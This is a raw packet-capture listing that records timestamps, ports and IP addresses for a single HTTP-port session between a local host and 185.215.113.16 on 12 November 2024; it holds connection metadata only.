Nov 12, 2024 21:21:45.198884964 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.198894978 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.198905945 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.198915005 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.198918104 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.198930025 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.198940992 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.198940992 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.198951960 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.198955059 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.198964119 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.198976040 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.198977947 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.198991060 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.198992014 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.199002981 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.199013948 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.199033976 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.199060917 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.199151039 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.199189901 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.199198008 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.199208975 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.199237108 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.199251890 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.199269056 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.199280024 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.199290037 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.199301958 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.199317932 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.199320078 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.199326038 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.199330091 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.199358940 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.199377060 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.347673893 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.347733021 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.347750902 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.347764969 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.347778082 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.347790956 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.347793102 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.347805977 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.347810984 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.347819090 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.347836971 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.347867012 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.347896099 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.347922087 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.347934008 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.347944975 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.347953081 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.347958088 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.347970963 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.347980976 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.347982883 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.347999096 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348004103 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348010063 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348018885 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348021984 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348035097 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348041058 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348052979 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348056078 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348073006 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348084927 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348084927 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348098993 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348105907 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348117113 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348124027 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348130941 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348136902 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348141909 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348150969 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348162889 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348174095 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348179102 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348186016 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348200083 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348206043 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348227978 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348232031 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348239899 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348258018 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348269939 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348270893 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348282099 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348284960 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348298073 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348310947 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348323107 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348325014 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348340988 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348365068 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348377943 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348407030 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348453999 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348468065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348503113 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348530054 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348572016 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348670959 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348707914 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348714113 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348748922 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348754883 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348776102 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348787069 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348793030 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348793983 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348808050 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348839045 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348864079 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348880053 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348892927 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348903894 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348916054 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348925114 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348936081 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348948956 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348953962 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348968029 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348978996 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348985910 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.348989964 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.348998070 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349009037 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.349009991 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349021912 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349034071 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349039078 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.349045038 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.349046946 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349060059 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349071980 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349072933 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.349086046 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349097967 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349102020 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.349109888 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349117041 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.349127054 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349149942 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349164009 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349167109 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.349176884 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349186897 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.349195004 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349205971 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349212885 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.349219084 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349231005 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349237919 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.349244118 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349251986 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.349256992 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349287033 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.349309921 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.349709034 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349750042 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.349760056 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349772930 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349797964 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.349813938 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.349823952 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349837065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349848032 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349858046 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.349874020 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349878073 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.349888086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349899054 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.349900961 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349910975 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.349919081 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.349942923 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349951982 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.349956036 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349967957 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.349981070 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.349993944 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.350013018 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.350157022 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.350197077 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.350198030 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.350210905 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.350234032 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.350246906 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.350265980 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.350280046 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.350291967 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.350297928 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.350303888 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.350320101 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.350326061 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.350330114 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.350337029 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.350348949 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.350378990 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.350389957 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.350434065 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.350449085 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.350497961 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.350667000 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.350709915 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.350713015 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.350725889 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.350749969 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.350778103 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.350846052 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.350857973 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.350867987 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.350881100 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.350889921 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.350893974 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.350898027 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.350905895 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.350915909 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.350919008 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.350943089 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.350963116 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.350975037 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.351011038 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.351012945 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.351043940 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.351075888 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.351089001 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.351100922 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.351118088 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.351130009 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.351150036 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.351188898 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.351201057 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.351212978 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.351222992 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.351239920 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.351239920 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.351259947 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.351584911 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.351597071 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.351641893 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.351703882 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.351716042 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.351727009 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.351732016 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.351732016 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.351739883 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.351752043 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.351764917 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.351775885 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.351775885 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.351788998 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.351804018 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.351856947 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.351893902 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.351943970 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.351948977 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.351962090 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.351963997 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.351999998 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.352015018 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.352025986 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352046013 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352057934 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352061033 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.352076054 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352089882 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352094889 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352096081 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.352108002 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352121115 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352132082 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.352153063 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.352231026 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.352461100 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352473974 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352493048 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.352516890 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352524042 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.352535963 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352551937 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352555037 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.352564096 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352570057 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352576971 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352581024 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352581978 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.352669954 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.352745056 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.352761030 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352773905 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352783918 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352794886 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352807045 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352818966 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352832079 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352843046 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352853060 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.352854967 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352869034 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.352895021 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.352896929 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352909088 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352920055 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352927923 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.352932930 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352955103 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.352962971 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352974892 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352984905 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.352988005 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.352997065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.353008986 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.353012085 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.353046894 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.353108883 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.353120089 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.353131056 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.353142977 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.353142977 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.353149891 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.353156090 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.353163004 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.353168964 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.353174925 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.353185892 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.353193045 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.353207111 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.353239059 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.353251934 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.353265047 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.353277922 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.353307009 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.353347063 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.353384018 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.353395939 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.353405952 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.353420019 CET	80	49762	185.215.113.16	192.168.2.4
